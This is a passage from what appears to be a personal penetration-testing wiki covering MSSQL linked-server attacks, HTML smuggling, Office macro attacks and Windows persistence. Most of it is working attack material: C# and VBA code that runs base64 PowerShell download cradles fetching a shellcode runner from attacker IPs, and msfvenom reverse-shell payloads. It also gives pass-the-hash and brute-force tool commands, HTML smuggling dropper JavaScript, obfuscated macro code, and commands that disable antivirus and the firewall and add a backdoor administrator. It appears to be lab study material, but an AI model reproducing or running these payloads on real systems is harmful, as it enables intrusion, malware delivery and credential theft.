            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        static void ExecutePayloadOnAppsrv01ThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;&#039;&#039;&#039; &#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteReader(SqlConnection con, string query, Action action)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlDataReader reader = cmd.ExecuteReader())&lt;br /&gt;
                {&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        action(reader);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteNonQuery(SqlConnection con, string query)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
                {&lt;br /&gt;
                    cmd.ExecuteNonQuery();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception ex)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Failed to execute query. Error: {ex.Message}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static bool CheckIfOptionEnabled(SqlConnection con, string server, string option)&lt;br /&gt;
        {&lt;br /&gt;
            string query = server == &amp;quot;DC01&amp;quot;&lt;br /&gt;
                ? $&amp;quot;SELECT value_in_use FROM OPENQUERY({server}, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;{option});&amp;quot;&lt;br /&gt;
                : $&amp;quot;SELECT value_in_use FROM sys.configurations WHERE name = &#039;{option}&#039;;&amp;quot;;&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                return Convert.ToInt32(cmd.ExecuteScalar()) == 1;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Automating linked SQL enum and attacks ===&lt;br /&gt;
&lt;br /&gt;
==== PowerUpSQL.ps1 ====&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2078#MSSQL_Trusted_Links Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/PowerUpSQL GitHub - NetSPI/PowerUpSQL: PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server]&lt;br /&gt;
&lt;br /&gt;
==== Evil SQL Client ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/ESC GitHub - NetSPI/ESC: Evil SQL Client (ESC) is an interactive .NET SQL console client with enhanced SQL Server discovery, access, and data exfiltration features. While ESC can be a handy SQL Client for daily tasks, it was originally designed for targeting SQL Servers during penetration tests and red team engagements. The intent of the project is to provide an .exe, but also sample files for execution through mediums like msbuild and PowerShell.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First run the .exe on target machine&lt;br /&gt;
# Find domainspns&lt;br /&gt;
SQLCLIENT&amp;gt; discover domainspn&lt;br /&gt;
# Show discovered instances.&lt;br /&gt;
SQLCLIENT&amp;gt; show discovered&lt;br /&gt;
# List links information for accessoble target SQL Server instances.&lt;br /&gt;
list links&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== MSSQL Pwner (Best tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ScorpionesLabs/MSSqlPwner GitHub - ScorpionesLabs/MSSqlPwner]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# We assume we have access to appsrv01 as a non-sa account. appsrv01 have a link to DC01. The link is bidirectional. We can use that to escalate our privileges on appsrv01.&lt;br /&gt;
python3 MSSqlPwner.py corp1.com/offsec:lab@192.168.229.6 -windows-auth interactive&lt;br /&gt;
...&lt;br /&gt;
[*] Discovered server principal: APPSRV01\Administrator on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo)&lt;br /&gt;
...&lt;br /&gt;
# Pass the hash MSSQLPwner&lt;br /&gt;
MSSqlPwner.py administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth interactive&lt;br /&gt;
&lt;br /&gt;
# Set link server to DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest)&amp;gt; set-link-server DC01&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
# Execute commands. MSSQL Pwner will enable xp_cmdshell automatically if the user have rights.&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# Execute commands on appsrv01 through DC01&lt;br /&gt;
# First get the chain list&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; get-chain-list&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Chain list:&lt;br /&gt;
[*] 995f1680-2ad4-4f50-8606-47312d5b5807 - APPSRV01 (CORP1\offsec@master/guest) (CORP1\offsec guest@master)&lt;br /&gt;
[*] aacabf55-4bb6-40e3-a0ce-feb406d26b1e - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] f74445c8-4fb7-4a68-86d8-9c14cfd9470a - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa&amp;gt;I:CORP1\Administrator@master/dbo) (CORP1\Administrator dbo@master)&lt;br /&gt;
[*] 9f676285-ffe4-4a97-b7b4-f4f59e128a2f - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] c7ecd747-93cf-4978-aab2-33a8864400f1 - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (APPSRV01\Administrator dbo@master)&lt;br /&gt;
&lt;br /&gt;
# Set the chain by using the chain ID and execute a command&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; set-chain c7ecd747-93cf-4978-aab2-33a8864400f1&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# To get a shell on appsrv01 through DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec &amp;quot;powershell.exe -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&amp;quot;&lt;br /&gt;
# The encoded powershell command&lt;br /&gt;
$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
# run.txt is a powershell shellcode runner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-9.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
--------------------------&lt;br /&gt;
# From GitHub&lt;br /&gt;
# Interactive mode&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth interactive&lt;br /&gt;
# Interactive mode with 2 depth level of impersonations&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth  -max-impersonation-depth 2 interactive&lt;br /&gt;
&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec &amp;quot;cmd /c mshta http://192.168.45.250/malicious.hta&amp;quot; -command-execution-method sp_oacreate&lt;br /&gt;
# Issuing NTLM relay attack on the SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on the local server with custom command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250&lt;br /&gt;
# Executing direct query&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth direct-query &amp;quot;SELECT CURRENT_USER&amp;quot;&lt;br /&gt;
# Retrieving password from the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password&lt;br /&gt;
# Execute code using custom assembly on the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll&lt;br /&gt;
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using tickets against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt&lt;br /&gt;
# Bruteforce using passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== [https://github.com/dadevel/mssql-spider mssql-spider] (Great tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dadevel/mssql-spider dadevel/mssql-spider: Automated exploitation of MSSQL servers at scale (github.com)]&lt;br /&gt;
&lt;br /&gt;
This tool is kinda similar to mssqlpwner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Authentication&lt;br /&gt;
# As local database user.&lt;br /&gt;
mssql-spider -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As local windows user.&lt;br /&gt;
mssql-spider -w -u administrator -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM and a password.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM Pass the Hash.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Overpass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -k -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Pass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -a c4c283276339e2d6b390eb5a11d419c9 -k -t db01.corp.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Phishing (Client side code exec) ==&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if MS word is running 64-bit or 32-bit&lt;br /&gt;
&lt;br /&gt;
=== HTML Smuggeling ===&lt;br /&gt;
&lt;br /&gt;
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the&lt;br /&gt;
browser to automatically download a file when a user clicks the assigned hyperlink.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate a staged payload using msfvenom.&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe&lt;br /&gt;
# Saved it as base64 as to not lose any data.&lt;br /&gt;
base64 msfstaged.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		function base64ToArrayBuffer(base64) {&lt;br /&gt;
			var binary_string = window.atob(base64);&lt;br /&gt;
			var len = binary_string.length;&lt;br /&gt;
			var bytes = new Uint8Array( len );&lt;br /&gt;
			for (var i = 0; i&lt;br /&gt;
			var file =&amp;quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA...&amp;quot;&lt;br /&gt;
			var data = base64ToArrayBuffer(file);&lt;br /&gt;
			var blob = new Blob([data], {type: &#039;octet/stream&#039;});&lt;br /&gt;
			var fileName = &#039;msfstaged.exe&#039;;&lt;br /&gt;
&lt;br /&gt;
			var a = document.createElement(&#039;a&#039;);&lt;br /&gt;
			document.body.appendChild(a);&lt;br /&gt;
			a.style = &#039;display: none&#039;;&lt;br /&gt;
			var url = window.URL.createObjectURL(blob);&lt;br /&gt;
			a.href = url;&lt;br /&gt;
			a.download = fileName;&lt;br /&gt;
			a.click();&lt;br /&gt;
			window.URL.revokeObjectURL(url);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]&lt;br /&gt;
&lt;br /&gt;
=== BobTheSmuggler ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/TheCyb3rAlpha/BobTheSmuggler?tab=readme-ov-file TheCyb3rAlpha/BobTheSmuggler: &amp;quot;Bob the Smuggler&amp;quot;: A tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archive and then hides inside PNG/GIF image file format (Image Polyglots). (github.com)]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&amp;quot;Bob the Smuggler&amp;quot;&#039;&#039;&#039; is a tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archieve and then hides inside PNG/GIF image file format (Image Polyglots). The JavaScript embedded within the HTML will download the PNG/GIF file and store it in the cache. Following this, the JavaScript will extract the data embedded in the PNG/GIF, assemble it, perform XOR decryption, and then store it as an in-memory blob.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you want to compress SharpHound.exe into 7z format (password protected) and store it in a HTML file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i path/to/SharpHound.exe -p 123456 -c 7z -f SharpHound.html -o SharpHound.7z -t html&lt;br /&gt;
# To create an HTML file with the embedded payload hidden inside PNG file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t png test.png&lt;br /&gt;
# Embed payload inside GIF File:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t gif test.gif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Zip Sharphound and use OneDrive template.&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Office Macro Client-side Attack ===&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?page_id=1809#Microsoft_Word https://blog.aghanim.net/?page_id=1809#Microsoft_Word]&lt;br /&gt;
&lt;br /&gt;
==== Visual Basic for Applications  [VBA] ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
&#039;VBA Datatype&lt;br /&gt;
&#039;Dim is used to declare variables&lt;br /&gt;
Dim myString As String # Unicode&lt;br /&gt;
Dim myLong As Long # 64-bit integer&lt;br /&gt;
Dim myPointer As LongPtr # Memory pointer&lt;br /&gt;
&#039;Example - if and else statement&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim myLong As Long&lt;br /&gt;
myLong = 1&lt;br /&gt;
If myLong &amp;lt; 5 Then&lt;br /&gt;
   MsgBox (&amp;quot;True&amp;quot;)&lt;br /&gt;
Else&lt;br /&gt;
   MsgBox (&amp;quot;False&amp;quot;)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
&#039;Example - Launch cmd.exe with a hidden window&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
   Dim str As String&lt;br /&gt;
   str = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
   Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&#039;The picture below show the cmd.exe running as a child process of winword.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Persistence/ Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?page_id=2703#Linux_Post_Explotation CheatSheet II – Advanced – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Disable Anti-virus&lt;br /&gt;
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true&lt;br /&gt;
# Disable firewall&lt;br /&gt;
NetSh Advfirewall set allprofiles state off&lt;br /&gt;
# Enable RDP&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Terminal Server&amp;quot; -name &amp;quot;fDenyTSConnections&amp;quot; -value 0&lt;br /&gt;
&lt;br /&gt;
# Disable restricted mode in order to PTH as authentication on RDP&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Create a new user&lt;br /&gt;
net user username password /ADD&lt;br /&gt;
# This will add the new user to the RDP group and local administratos group&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; username /add&lt;br /&gt;
net localgroup &amp;quot;Administrators&amp;quot; username /add&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PowerShell in VBA ==&lt;br /&gt;
&lt;br /&gt;
=== Download cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim strArg As String&lt;br /&gt;
	strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object&lt;br /&gt;
system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
	Shell strArg, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WMI: Unlinking PowerShell from Office ===&lt;br /&gt;
&lt;br /&gt;
Use WMI from VBA to create a PowerShell process instead of having it as a child process of Microsoft Word.&lt;br /&gt;
&lt;br /&gt;
Remember that since this is NOT ran as a child process of MS word, the PowerShell will open in 64-bit!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro&lt;br /&gt;
   strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
   GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Obfuscated version of WMI ===&lt;br /&gt;
&lt;br /&gt;
* First we&#039;ll convert the strings using &#039;&#039;ToCharArray. &#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* The code below takes the string inside the $payload and encrypt it. So the string (powershell -exec …) is encrypted, not the content of run.txt).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$payload = &amp;quot;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
[string]$output = &amp;quot;&amp;quot;&lt;br /&gt;
$payload.ToCharArray() | %{&lt;br /&gt;
    [string]$thischar = [byte][char]$_ + 17&lt;br /&gt;
    if($thischar.Length -eq 1)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;00&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 2)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;0&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 3)&lt;br /&gt;
    {&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$output | clip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below is the decryption routine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* So combined together with &amp;lt;code&amp;gt;Unlinking Powershell from Word&amp;lt;/code&amp;gt; code above, we will get this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
